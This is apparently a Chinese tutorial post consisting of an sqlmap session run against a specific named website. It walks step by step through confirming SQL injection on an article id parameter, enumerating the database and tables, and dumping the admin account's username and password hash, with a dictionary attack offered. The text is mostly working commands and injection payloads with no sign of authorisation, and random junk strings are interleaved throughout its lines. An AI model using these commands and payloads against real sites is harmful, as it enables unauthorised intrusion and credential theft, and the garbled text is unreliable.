sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --current-user       /*  注解：获取当前用户名称
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:53:54
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
: s, S' \8 |* d session file
[16:53:54] [INFO] resuming injection data from session file
1 E+ b7 ^$ y; g( Z0 i2 ]4 H- [3 x8 A[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
3 G' h7 {' M0 o' _! T* |* g[16:53:54] [INFO] testing connection to the target url
: ^8 r5 x) ?9 z  {+ s+ m' m: Y1 c2 wsqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
3 v6 m' d8 D* D& K7 X: P    Title: AND boolean-based blind - WHERE or HAVING clause
" b0 k. U/ v1 G# M. _+ L    Payload: id=276 AND 799=799
/ v- |8 n8 y$ L2 _5 U: r6 P$ w7 s    Type: error-based
6 h# y6 l) `" B" w    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
4 U# g8 c. ~# b% S5 S& j(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
, ]( i/ M2 R5 W: Q6 N) A    Type: AND/OR time-based blind
* l# C; N- x$ b% }/ ]    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
[16:53:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
# w! y" X" q2 U% W8 Iweb application technology: Apache 2.2.11, PHP 5.3.0
+ ]4 y7 F$ D" l" c0 zback-end DBMS: MySQL 5.0
[16:53:55] [INFO] fetching current user
$ e  i+ J+ |6 _* z7 ?6 a  V$ Zcurrent user:    'root@localhost'   
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:53:58

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --current-db                  /*当前数据库
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:54:16
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
: H5 K* \( e" G0 H, i( h session file
( E8 _  d6 B3 H$ t2 Q[16:54:16] [INFO] resuming injection data from session file
8 n( o* y$ V3 X3 c3 Y! G, P[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
% x" p. G$ }3 t& [[16:54:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
9 d/ X6 {1 E1 w/ d  |! zsts:
---
Place: GET
Parameter: id
- l- R. m7 I8 j: _9 w' v) z    Type: boolean-based blind
$ Q$ r9 z" {. B' s) D9 a    Title: AND boolean-based blind - WHERE or HAVING clause
7 v$ j6 K9 m( J    Payload: id=276 AND 799=799
    Type: error-based
  q) X, z; C" @: j    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
1 q1 A' C# w( C1 G120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
1 R3 T* G8 ]; p" Q$ f# r),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
3 ~8 V3 K, }0 V: }1 J: H# U8 |    Title: MySQL UNION query (NULL) - 1 to 10 columns
$ k: A, n2 R6 }    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
/ ?* m. g  y8 W" o0 a    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
[16:54:17] [INFO] the back-end DBMS is MySQL
  I, ^- |. [) j: Eweb server operating system: Windows
9 ?8 s& Q8 y1 o/ |- Hweb application technology: Apache 2.2.11, PHP 5.3.0
0 `9 y$ E# t. X" L- z/ c" Xback-end DBMS: MySQL 5.0
[16:54:17] [INFO] fetching current database
current database:    'wepost'
* j6 Y% y7 S* P1 \* b. _" G- m[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
9 p5 p' D# x3 V; `) z* p9 ]tput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:55:25
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
) s6 j  n4 l1 O! _1 l  Z3 R session file
[16:55:25] [INFO] resuming injection data from session file
5 M0 I4 c7 T! w2 m2 X[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
- n2 p  n7 o, p- u3 F* ^[16:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
9 ]* d9 C$ W0 _+ z4 N8 t+ mParameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
7 l1 ~$ R; V- H, j* K4 ^2 w    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
: A* Y; h. ]% G    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
  |6 Q; ?& P8 w) U5 |: e),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
2 l: E$ N% `7 H/ W5 U(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
% [. t% E/ G, m+ u/ |7 G# xCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
$ r7 U' z. F0 ]2 t    Payload: id=276 AND SLEEP(5)
3 V1 R& [0 a' D* H& O+ u2 m---
[16:55:26] [INFO] the back-end DBMS is MySQL
9 c  i& [3 z2 [/ a( pweb server operating system: Windows
$ Y! U: U1 t. P% nweb application technology: Apache 2.2.11, PHP 5.3.0
8 A4 F) V7 C0 U' n( n- K5 cback-end DBMS: MySQL 5.0
[16:55:26] [INFO] fetching tables for database 'wepost'
/ }0 w7 J. d5 [3 j[16:55:27] [INFO] the SQL query used returns 6 entries
Database: wepost
[6 tables]
+-------------+
6 @; v4 ~% V7 t" J, E| admin       |
| article     |
| contributor |
| idea        |
| image       |
$ E2 A, p# _2 q, r| issue       |
8 |; J& F$ H# _' t+-------------+
, }9 X3 k! N0 t# `[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:55:33
- L& L7 [- S3 E
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:56:06
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
0 r% R& p8 L2 w8 P, Q7 Tsts:
---
, @) d9 P+ E* g, Q0 {# p' ~Place: GET
0 L6 e" h3 ^2 A: K0 _: CParameter: id
    Type: boolean-based blind
8 b' g* ]" W# l+ g    Title: AND boolean-based blind - WHERE or HAVING clause
3 I- y. j; q* W    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
+ b- m. W4 u. f. i* k120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
) u$ q. |& G5 V    Title: MySQL UNION query (NULL) - 1 to 10 columns
. U4 \# z' e7 q2 W0 T    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
$ p+ U  G5 e3 r& B7 K(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
- i7 [/ Q& u7 g! ^0 [    Payload: id=276 AND SLEEP(5)
---
, Z. v4 l/ j! \: j) {web server operating system: Windows
# y& a3 y5 B8 @" v1 O+ \6 m; K7 T, Tweb application technology: Apache 2.2.11, PHP 5.3.0
1 R" F+ Z; S, o, lback-end DBMS: MySQL 5.0
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
ssion': wepost, wepost
Database: wepost
Table: admin
[4 columns]
+----------+-------------+
| Column   | Type        |
, v( J! e6 R9 h+ x4 b+----------+-------------+
; Z* Q4 C' J  i8 c* ]| id       | int(11)     |
| password | varchar(32) |
| type     | varchar(10) |
8 M* H% @4 B& Z| userid   | varchar(20) |
+----------+-------------+

shutting down at: 16:56:19

3 c* G% D/ T6 |1 a0 v5 HD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
- w% ?2 `9 S2 p. i. b    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:57:14
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
8 `. L+ T6 g$ i0 W' `---
Place: GET
Parameter: id
4 s* M( N% o) V- A* C$ N+ X! g! l& ~    Type: boolean-based blind
% ^5 Z7 K6 k7 B5 c; x4 ^7 C$ w    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
4 `6 J% Q: T  y( V* [    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
) Y! I7 {* M& Q    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
8 u" d  i6 g6 S120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
4 }8 E" Z5 s' J7 ]4 V8 x6 y, p    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
% Q! x7 q2 {+ v! ~    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
4 @. Z) i; h) ?' cCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
- t. O/ R' x$ ?! f  V5 i# B    Type: AND/OR time-based blind
4 z9 W4 H" K: ?' J    Title: MySQL > 5.0.11 AND time-based blind
$ i* H9 f1 @9 f% Z: A( k$ [+ K    Payload: id=276 AND SLEEP(5)
  K& \) G& ?) k; `---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
- T: A2 R' V6 B; R: sback-end DBMS: MySQL 5.0
recognized possible password hash values. do you want to use dictionary attack o
n retrieved table items? [Y/n/q] y
( k# R# G9 r! t8 q4 ewhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
do you want to use common password suffixes? (slow!) [y/N] y
5 F1 H- k% b5 {% Y8 _; a% }/ V6 {$ cDatabase: wepost
Table: admin
, p5 w' [' t4 ?[1 entry]
+----------------------------------+------------+
9 O. x0 g) Y5 n4 b2 H2 w4 Q+ S| password                         | userid     |
8 v1 m7 c: a" B; D2 b% h* Y, ^* D( r+ Y6 c+----------------------------------+------------+
3 `+ r4 |8 |& h3 X$ P/ x| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
: `) |6 n0 [: N+----------------------------------+------------+

shutting down at: 16:58:14
, F5 h8 e; E; G4 N3 t
D:\Python27\sqlmap>